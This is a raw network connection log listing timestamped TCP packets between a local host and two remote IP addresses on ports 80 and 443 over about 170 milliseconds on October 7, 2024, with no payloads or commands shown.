Oct 7, 2024 19:33:15.481626034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481725931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481738091 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481779099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481880903 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481899023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481911898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481924057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481929064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481941938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481951952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481952906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481964111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481976032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481976032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.481986046 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.481996059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482007980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482018948 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482019901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482033014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482048035 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482050896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482062101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482074022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482074976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482085943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482100964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482126951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482146978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482157946 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482168913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482182026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482183933 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482214928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482239008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482486010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482505083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482516050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482523918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482536077 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482554913 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482587099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482599020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482609987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482625961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482631922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482639074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482650042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.482661963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.482681036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483014107 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483057976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483110905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483123064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483134985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483144999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483150005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483158112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483170986 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483189106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483205080 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483207941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483234882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483247042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483247995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483261108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483268976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483295918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483340979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483352900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483372927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483374119 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483395100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483403921 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483408928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483421087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483433962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483436108 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483444929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483448029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483472109 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483495951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483877897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483890057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483901024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483916998 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483931065 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483941078 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483943939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.483968973 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.483994007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.523315907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.523381948 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.523426056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.523437023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.523448944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.523482084 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.523493052 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.559612989 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.560029984 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.560043097 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.560848951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.560868979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.560883999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.560903072 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.560906887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.560920000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.560933113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.560934067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.560947895 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.560972929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.560992002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.561029911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561043024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561069012 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.561077118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561084032 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.561093092 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561131001 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.561167955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561182976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561194897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561207056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561209917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.561237097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.561256886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.561261892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561338902 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.561391115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.561425924 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.562031984 CEST	49731	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.562036037 CEST	443	49731	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.563154936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563167095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563178062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563226938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563251972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563260078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563297987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563309908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563334942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563348055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563431978 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563442945 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563477039 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563497066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563499928 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563514948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563549995 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563595057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563607931 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563620090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563631058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563636065 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563644886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563648939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563676119 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563699961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563798904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563811064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563822985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563834906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563838005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563851118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563852072 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563872099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563894033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.563894987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563908100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.563952923 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.565373898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565393925 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565407991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565432072 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.565458059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.565507889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565520048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565531969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565543890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565552950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.565567970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.565593958 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.565706968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565716982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.565754890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.565766096 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566072941 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566085100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566097975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566134930 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566154957 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566162109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566174030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566184998 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566198111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566199064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566211939 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566232920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566286087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566298008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566308975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566319942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566327095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566332102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566344023 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566354036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566356897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566370010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566379070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566384077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566390991 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566418886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566617966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566628933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566646099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566657066 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566668034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566674948 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566679955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566687107 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566693068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566704035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566708088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566715956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566726923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566730976 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566739082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566751957 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566757917 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566764116 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566766024 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566776991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566791058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566800117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566824913 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566932917 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566945076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566956997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566967964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566977978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.566986084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.566998005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567009926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567009926 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567023039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567035913 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567035913 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567050934 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567076921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567087889 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567089081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567102909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567112923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567118883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567125082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567136049 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567146063 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567147970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567159891 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567171097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567173958 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567183971 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567188025 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567203045 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567214012 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567222118 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567225933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567240953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567253113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567264080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567269087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567269087 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567276955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567291021 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567306042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567315102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567318916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567332983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567343950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567347050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567373037 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567401886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567404032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567415953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567425966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567431927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567442894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567454100 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567456007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567466021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567473888 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567476034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.567503929 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.567521095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.572380066 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.572467089 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.572585106 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.572607994 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.572622061 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.572633028 CEST	49730	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.572638988 CEST	443	49730	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.575102091 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.575135946 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.575267076 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.575411081 CEST	49738	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:15.575431108 CEST	443	49738	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:15.645145893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645215034 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.645338058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645349979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645360947 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645370960 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645387888 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.645389080 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645401001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645410061 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.645414114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645425081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645437002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645442009 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.645447016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645454884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645461082 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.645464897 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645477057 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645487070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645498991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:15.645500898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.645500898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.645524979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.645554066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:15.647736073 CEST	80	49718	46.8.231.109	192.168.2.7
